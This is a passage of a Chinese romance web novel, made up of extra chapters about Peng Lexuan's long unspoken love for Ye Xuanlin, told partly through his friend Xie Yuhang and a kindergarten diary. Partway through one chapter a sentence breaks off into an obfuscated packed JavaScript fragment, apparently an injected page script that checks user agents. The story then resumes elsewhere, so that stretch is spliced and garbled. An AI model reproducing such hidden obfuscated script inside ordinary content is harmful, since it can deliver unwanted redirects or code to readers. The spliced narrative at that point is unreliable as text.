他看见彭乐轩这样沉默不语的样子就心烦,不耐烦地说:“行了行了,我知道了。别人不懂我还能不懂?不就是你喜欢你的,她开心 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他骂了一句:“少来,你知道我在说什么。”他才不信彭乐轩没有听懂。他告诉彭乐轩叶玄霖住院的时候,彭乐轩还不是请了假飞奔而来?每次他去医院,彭乐轩还不是总跟在他后面?他恨铁不成钢地说:“这时候你不应该搭个帐篷睡在医院,死缠烂打乘虚而入的吗?” 彭乐轩不语,片刻才回答:“我对叶玄霖来说是个陌生人。她需要的又不是我,这时候我凑上去是给她徒增烦恼而已,还是算了。” 他又忍不住骂人:“彭乐轩,说你什么好呢?你就是天底下最怂的人,没有之一!” 彭乐轩反而笑,认真地说:“我觉得她很快会好起来的,你别不相信她。” 后来他回想那段时光,才领悟到,钓鱼这种活动果然很适合彭乐轩的调性。所谓海钓,就是很多时候船在海上逡巡一整天也毫无所获。喜欢钓鱼的人就得接受没有结果这个现实。 再后来,就没有了后来。大家在世界各地各奔前程,聚少离多,人长大了,也再不会像少年时代那样容易冲动。只有谢宇航,有时候会找个藉口去香港跑一趟,看看彭乐轩在忙些什么。彭乐轩此时进了投行,工作的作息颠三倒四,有项目的时候可能七十二小时连轴转,做完了项目也可以连续睡上一整天。有时候谢宇航能赶上和彭乐轩一起出海去钓鱼,有时候去酒吧喝酒,有时候只能赶上一顿早茶,还有一次他飞过去,只赶上和彭乐轩在机场匆匆喝了杯咖啡。 他们聊天的话题也五花八门,只有少数时候会说到过去,大多时候彭乐轩也不会问起叶玄霖。可是他大概是最了解彭乐轩的人,什么都逃不过他的眼睛。彭乐轩哪怕有一个欲言又止的停顿,或者一个若有所失的眼神,都好像把心思明明白白摆在他面前。很多时候倒是他主动提起: “叶玄霖终于要毕业了,听说在办去英国读书的手续。” “叶玄霖给我从英国寄了张明信片,跟我抱怨说天气不好。” “叶玄霖从英国回来了,去了一个风投,我看她还挺喜欢的。” …… 很多时候彭乐轩只是默默听着点点头,也不显得多关心的样子,最多问一句:“她好不好?” 每次他都觉得彭乐轩好像早就放下了,但又好像没有,叫他莫名心烦。有一次他故意说:“叶玄霖身体不太好。她在英国吃得颠三倒四,落下了慢性肠胃炎,听说现在喝橙汁都得在微波炉里先热过才能喝。” 那次他走的时候,彭乐轩来送机,临别时塞了一包药给他,笑着说:“都是打工人,我也肠胃不好。这几种药你带给叶玄霖试试,说不定有哪种管用。”他在心里嘀咕“彭乐轩你个舔狗”,又看彭乐轩欲言又止的样子,白眼相向说:“知道了知道了,不提你的名字,对吧?” 最后那一次,他又打算飞香港,买了机票给彭乐轩打电话,问他最近在忙什么,没想到彭乐轩在电话里说:“最近我一直在新加坡,手上有几个项目,估计要做两个月。”他又立刻改口说:“这么巧!我最近有事要跑一趟新加坡,正好能来看看你。” 他改了机票,飞到新加坡,彭乐轩来接他,把他带回自己的酒店公寓,还笑说:“我刚在这儿学调了一款Singapore Sling,等会儿你试试。” Singapore Sling口味酸甜,带点淡淡的果香,倒是种充满热带风情的鸡尾酒。彭乐轩住的酒店公寓在十八楼的高层,站在窗边俯瞰灯海,让他想起当年站在彭乐轩家的阳台上看睿文中学的大门的情景。 论起往事,彭乐轩说他意外地收到了曹思静婚礼的请柬,感叹了一声:“连曹思静都要结婚了,咱们的同学们是不是陆陆续续也该差不多了。” 这时候他们关了灯,并肩站在窗前欣赏都市夜景,看脚底的车流像闪闪发光的蚂蚁一样爬过。他侧过脸问身边的彭乐轩:“你呢?你怎么一直都单身?” 彭乐轩回头笑说:“你看我这个工作强度,哪里有那个时间?” 他不相信,嗤笑说:“难道干你们这一行的一个个都不恋爱结婚了吗?” 彭乐轩一低眼,顿了顿说:“也是一直都没遇到合适的人。”说完又回头笑话他:“你别老说我,你不是也一样?一直单身?” 这回轮到他低眼避开对方的目光:“我……和你不一样。” 彭乐轩也不相信:“你怎么不一样?难道不是两个肩膀扛一个脑袋?” 他仰头喝完杯中酒,笑说:“我这个人……你知道的,三分钟热度,不适合恋爱结婚这种事。”说完赶紧转换话题:“曹思静的婚礼,你会去吗?” 彭乐轩应该从来没想过要去,立刻回答说:“我最近比较忙,应该不会有空吧。” 他说:“你来吧,叶玄霖说她要去。” 彭乐轩一定是没料到他会这么说,诧异地抬眼看他,一时间没有回答。他接着开玩笑说:“主要是我怕她和曹思静两个在婚礼上打起来,你得帮我拦着点儿。” 彭乐轩跟着笑了笑,笑完转回头去望向窗外,没有再说话。四周静默了一刻,只听见远处都市隐隐约约的车流,像空谷中的回声。他等了十秒钟没等来彭乐轩的回答,只看见他的侧脸在黑暗中孤单地沉默。有一阵难过涌上心头,最后还是他打破沉默说:“真的,我觉得你可以来,再试一次。” 彭乐轩这才抬头,低笑了一声说:“这么多年了,她应该都记不得我这个人了吧。而且你不是说,我是天底下最怂的人,没有之一吗?” 他带点玩笑又十分认真地回答说:“我有预感,这一次你能成功。你考虑一下。” 婚礼那天,他把彭乐轩从机场接到婚庆会所。婚礼的场面颇大,鲜花层叠,灯光辉映,一早就宾客如云。他和彭乐轩去签了到交了红包,随人流去宴会大厅,他还和彭乐轩开玩笑说:“过了今晚,应该就我一个人单身了吧?”彭乐轩给了他一个无奈的眼神,他说:“你去入座,我去别的地方溜达一圈,看看有没有熟人。” 他在门口碰见叶玄霖,和她聊了几句,看见她疑惑地朝彭乐轩的方向看了又看,还伸手拉他说:“我去!谢宇航,是我眼花了吗?你看那是谁!”他转身避开,赶紧找了个人假装聊天。等叶玄霖走过去跟彭乐轩打招呼,他想,这应该就是他退场的最佳时间了吧。 他顺着原路往大楼外面走。宾客大都已经入席,这一回走廊里冷清了不少。背后大厅里隐隐传来深情款款的歌声,他猜新郎新娘应该已经入场了,而他已经走到了大楼的门前。 不知从什么时候起,外面下起了小雨。他一个人站在门口,犹豫着要不要冒雨离开,脑海里却突然想到一件小时候的事。那年他要报名参加学校元旦晚会的演出,彭乐轩带他去音像书店买CD,意外地遇到了叶玄霖。那天之后他就闹了情绪,放弃了准备表演的节目,甚至放弃了小提琴。小孩子的第六感还挺准的,也许那时他就察觉彭乐轩心怀鬼胎,只是有时候自己刻意忽视,不想承认而已。 很多事情,无论你怎么不肯承认或刻意掩盖都不能否定它的存在,比如人的感情。这一刻他望着门外傍晚灰沉沉的天空,许多他对彭乐轩说过的话忽然在耳边重现。 过了今晚,应该就我一个人单身了吧? 别人不懂我还能不懂?不就是你喜欢你的,他开心就好吗? 彭乐轩,你就是天底下最怂的人,没有之一。 想到这里,他轻轻嗤笑了一声,自言自语地说:“谢宇航,你忒么才是天底下最怂的人,没有之一。”然后耸肩缩了缩脖子,走进淅淅沥沥的小雨中。 9. 番外2[番外] 睿文中学的校庆十年举办一次,上一次的校庆还是在彭乐轩大四那年的秋初。 适逢国庆放假,许多校友云集母校,参加了庆典活动,特别是尚在本地读大学或工作的校友。上午是历任老校长讲话,还给当时很出名的一个宇航员校友颁了个名誉校长的头衔,下午是在校学生运动会。 彭乐轩从香港飞过来,赶上了中午同学聚餐。不知是谁组织的,几个班的老同学包了一个餐厅,也有将近五六十号人,热热闹闹地济济一堂。一般一个班的同学都自发地坐在一起,彭乐轩却不知怎么回事坐在了三班那一桌。坐在他身边的恰好是三班的班长张宇新,点了点在场的人头说:“本地的同学都通知到了呀,怎么曹思静没来?叶玄霖也没来?” 他同张宇新以前常一起打篮球,也算是个哥们儿,知道他在厦门的某大学读新闻系。活动结束,他忽然问:“国庆还有几天假,我想去厦门玩儿几天再回香港,你欢不欢迎?” 张宇新颇意外,当然也说好,那个周末就带着彭乐轩回厦门,逛了大学校园,环岛路,中山步行街,在步行街上吃土笋冻喝花生汤,还逛了一家叫“范冰/冰糖葫芦”的食品店。傍晚他们逛到了曾厝垵,又吃了一圈糯米卷,烧仙草和沙茶面。 夜晚的曾厝垵灯火通明,充满世俗烟火,出了小吃云集的商业区,后面的小山坡上是灯光疏朗的小巷人家。彭乐轩举头北望,似乎不经意地问了一句:“那上面是不是有很多民宿?” 张宇新热情地回答:“是啊,我知道这里的民宿有几家还不错。对了,我们班的叶玄霖你还记得吗?上次她来厦门玩儿,住的民宿就是我推荐的。她跟她男朋友还拍了Vlog官宣来着,在朋友圈里热闹了几天,呵呵。今天你订了酒店就算了,如果想多住几天,我给你推荐几家?” 夜幕低垂,远处的零星灯光散落在树影之间。微风拂过树梢,似乎有哪个酒吧的音乐声若有若无地传来,确实是情侣密会的好地方。彭乐轩原来想在厦门呆到国庆长假结束,这时候遥望山上隐约的灯光,忽然又改了主意,停了停说:“不了,我明天就走。” 结果第二天中午张宇新带了女朋友来给彭乐轩饯行,说到他们打算回海边乡下看奶奶,彭乐轩又突然改了主意问:“我能跟你们一起去吗?” 福建人管奶奶叫阿嬷,张宇新女友的阿嫲就住在海边某个小渔村。禁渔期刚刚结束,大船小船都要出海,彭乐轩和张宇新就跟着条小船去海上凑热闹。小船开出渔港,很快海水蓝天一望无垠,仿佛可以让人忘掉时间和方向。真干活也用不着他们两个,闲下来他们就在海上喝当地镇子上的酒厂酿的高粱酒。张宇新也看出来彭乐轩的心不在焉,笑话他说:“彭乐轩,你这趟到底来干什么啊?我看你这精神状态,可不像是来旅游的。” 他其实也不知道自己这趟来干什么,只觉得心中有巨大的失望无处安放。海风猎猎,当地高粱酒的口味绵长醇厚,他仰头喝了一大口,开玩笑地说:“我来学学钓鱼,说不定能捞到条美人鱼呢?” 回想当年,那大概是他比较迷惘的一段时间,不知道自己将来要过怎样的生活。后来长大,经历更多,才意识到人生在世,无论贫贱富贵,幸或不幸,每个人总有自己的磨难要经历,都有重要的选择题要做,叶玄霖有,谢宇航有,曹思静有,那个姓肖的极品渣滓也有。相比别人而言,他生来家庭和睦,学业事业一帆风顺,不过是感情比较蹉跎,着实应该努力生活,笑着接受。 后来叶玄霖也问过他类似的问题:“彭乐轩,你为什么喜欢出海钓鱼?”他也开玩笑地回答:“因为说不定哪天能救上一条变成泡沫的美人鱼来呢?” 叶玄霖自然不信他这种玩笑话。他也没有明说——据说人分两种,一种喜欢山,一种喜欢海。喜欢山的那种人往往性格坚毅,喜欢海的那种则向往自由自在的生活。他喜欢海,因为他喜欢的人喜欢海。 叶玄霖问这问题时,他们相恋几个月,但相隔万里,一个在星加坡,一个在帝都,两个人都忙,但每天加完班后躺在床上,总要聊上很长时间。其实也没什么特别的事情,常常就是絮絮叨叨地聊今天都做了些什么琐事。那天他就问:“现在你在作什么?” 叶玄霖那边早就熄了灯,只有手机的一点荧光。“嗯……”她抬眼想了片刻,在黑暗中笑得有几分狡黠:“我在你家呢,刚洗了澡,现在就躺在你的小破单人床上。” 等他神思不属三心二意的时候,她又逼问她最喜欢问的那个问题:“彭乐轩,你给我认真点儿,别开玩笑!你到底是从什么时候开始喜欢我的?我怎么不知道?” 这个问题叶玄霖问了没有十次也总有八次了,每次都被他插科打诨蒙混过关,这次混不过去,他只好笑着投降说:“在我床底下有个纸箱子,你去翻翻。” 所以深更半夜,叶玄霖又从床上爬出来,拉亮台灯,光着脚丫子去床底下找东西。 床底下果然有个旧纸箱子,里面似乎都是彭乐轩小时候的东西,有什么小学里的日记,幼儿园画的蜡笔画,初中里做的火山模型……她一件件翻看,确实十分有趣,边翻边同彭乐轩说:“原来你小时候就喜欢画鱼啊——金鱼,大鲨鱼,杀人鲸,还真有一条美人,哈哈哈哈哈……” 他在电话那头跟着笑,又提醒她:“有没有看见一个蓝色的文件夹?里面应该有两幅画。” 她翻了翻,确实在箱子底里翻出个蓝色文件夹,打开一看,里面确实是两幅画,左边是一幅彩粉画,右边是一幅剪纸。左边那幅画她一点不认得,右边那幅剪纸她倒看着十分面熟。彭乐轩还给她发了张照片,照片里是两幅作品并排挂在学校走廊的橱窗里的样子。 “你记不记得高一美术老师布置的作业?”彭乐轩说,“挑一幅世界名作临摹,然后说说你为什么挑选这幅作品。” 她不认得的那幅作品是彭乐轩临摹的《海边的房子》,法国印象派画家埃德加·德加的名作。彭乐轩说:“我就学过一点水粉画,画得一般,绞尽脑汁才找到这幅,练了很久才觉得拿得出手,谁想到和你这种随便剪了几张破纸拼在一起的东西一起评上优秀?当初特别不服气。” 她模仿的作品是马蒂斯的剪纸作品“The beasts of the sea”(海中的野兽)。她选马蒂斯,其实是因为她根本不会画画,所以偷懒选了剪纸,这样可以乱剪一气,根本没想到会被美术老师选中,而且她在下面的说明也是乱写的:“我选马蒂斯的作品,因为马蒂斯经常画丰腴的大妈,很接地气。” 这些话她现在看来还觉得好笑,又问:“我这张画怎么会在你这儿?” 彭乐轩说:“那学期展览完了,美术老师让我们去他那儿拿画,结果你没去,我就帮你拿回来了,还去你们班送了一趟,在教室门口遇见你,你就轻描淡写地说:‘我不要了,你帮我扔了吧。’”说到这里他叹了口气:“你看,你什么都不记得。” 这天他们还聊了很久,大概一直聊到两三点钟,叶玄霖记起许多童年趣事,一件件说给彭乐轩听,其中一件还真和美人鱼有关:“我小时候,记不清哪一年了,可能是幼儿园,也可能是小学,还演过个美人鱼童话剧呢。我记得特别清楚,因为那时候我觉得美人鱼变成了泡沫,就是死了,可小朋友们可能看不懂啊,怎么才能体现美人鱼是死了呢?我就在去麦当劳的时候拿了很多番茄酱,挤出来装在一只小塑料袋里做了一个血包。演出当天,美人鱼——就是我——纵身一跃从船上跳下来,说时迟那时快,我在倒地前‘哗’地把血包挤破,番茄酱喷得我满脸都是,当场把演王子的小朋友吓得嚎啕大哭,哈哈哈哈哈……” 彭乐轩在电话那头也笑,笑完了问:“哪个小朋友那么倒霉,给你这个无法无天的小魔女演王子?” 多年前的事了,叶玄霖当然早已不记得,想了半天说:“记不清了,好像叫熏熏?好像姓魏还是姓郑?郑小熏?只记得后来他搬家转学走了。” 彭乐轩在那头轻笑一声,也没再接话。后来夜深,她说得困意袭来,睡着前好像是在告诉彭乐轩:“我真喜欢你家,隔音好,音乐放再大声也没人管。一架子的CD,正好一半是古典音乐,还有一半是摇滚乐,是不是正好像你一半我一半?我怎么没早发现你这儿这么好呢……” 这样聚少离多的日子很难熬。彭乐轩手头的项目一结束,就立刻动身回了帝都。时值国庆长假,那一年又是睿文中学的校庆,这回组织者还是三班的班长张宇新,呼朋唤友拉了一个几百人的大群,彭乐轩和叶玄霖都因此加回了许多失联多年的同学。 可惜航班晚点,彭乐轩没赶上诸任前校长和宇航员名誉校长的致辞,也没赶上下午的学生运动会,只赶上晚上的同学聚餐。偌大一个餐厅,他到的时候已经坐满了五六十号他们年级的同学。大多数同学都自动和自己班的同学坐在一桌,张宇新和叶玄霖所在的三班那桌也坐满了。 反正他们一班那两桌也没空位,他索性拉了一把椅子,在叶玄霖身边挤了一个座位出来。张宇新兴高采烈地招呼他:“彭乐轩!我还以为你不来了呢!你怎么又坐我们这儿?我们三班这桌的菜是不是比你们一班的好?” 他笑脸相迎说:“我迟到了,先自罚一杯。”说完一手举杯喝酒,另一只手在桌子底下偷偷拉住叶玄霖的手。 酒已喝过三巡,满桌欢声笑语,有两个同学已经喝红了脸。叶玄霖偷偷朝他使了个警告的眼色,把手抽了回去。 这一桌饭局便吃得十分漫长。同学们有许多旧要叙,一半同学已经结婚生娃,可以讨论哪里的幼儿园学区好师资强。另一半的同学正值事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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…… …… …… (下面是番外的番外:小熏熏的日记数则。) 5月6日 今天我们开始排演童话剧。老师说我们要演《白雪公主》,我演王子,叶玄霖演公主。叶玄霖说她不要演公主,要演美人鱼,老师同意了。 5月7日 美人鱼的故事是这样的:美人鱼在海上救了王子,想和王子变成好朋友,就去巫师那里把鱼尾巴换成了两条腿。可是等小美人鱼去找王子的时候,王子已经和公主是好朋友了。小美人鱼的姐姐给小美人鱼一把匕首,只要她杀死王子就能把腿变回鱼尾巴。但小美人鱼没有这样做,而是跳回海里变成了泡沫。 5月8日 叶玄霖说,变成泡沫就是死掉了。我一点也不喜欢这个结尾。 5月9日 今天老师给我们穿上了很漂亮的衣服,叶玄霖的裙子最漂亮,像鱼尾巴一样。为什么王子不能和小美人鱼和公主都做朋友?我不想要叶玄霖变成泡沫死掉。 5月10日 叶玄霖总是叫我熏熏。我跟她说我叫彭乐轩,她可以叫我轩轩。可是她后来又忘记了,还是叫我熏熏。她的记性真差,唉! 5月13日 今天演出,来了很多家长。叶玄霖偷偷告诉我她带了一个血包。演到最后,她拿着匕首跳下船,摔倒在地上,流了很多血,我脸上也溅到了,我就吓哭了。 后来叶玄霖说那些不是血,是她带的番茄酱,还说我胆子小。我真的不是胆子小,只是以为她真的死了。她的血包很像血。 5月14日 叶玄霖说我胆子小,我很生气。 5月15日 我的胆子一点也不小。今天我也很生气,一天都没有和叶玄霖说话。 5月16日 我永远也不想和叶玄霖说话了。我永远也不要原谅她。 5月17日 今天叶玄霖的爸爸被老师叫来学校了。叶玄霖的爸爸很高也很瘦,看起来有点凶。这是我第一次见到叶玄霖的爸爸,以前每天来接叶玄霖的都是她家里的阿姨。我妈妈说,住在叶玄霖那个大院儿里的人都是很厉害的人。我在走廊里看见叶玄霖被她爸爸骂了,还看见她跟她爸爸道歉。后来她爸爸就走了,也没有接她回家。她一个人在走廊里哭了很久,妈妈开车来接我的时候她还在哭。我和妈妈开车走的时候,我还在车窗后面看见她在走廊里哭。我觉得她好可怜,很想抱抱她,告诉她我已经原谅她了。 5月20日 妈妈说开心和不开心都要讲出来,所以今天我跟叶玄霖说我已经原谅她了,我们可以做好朋友。她说好的,我们可以做好朋友,永远的那一种。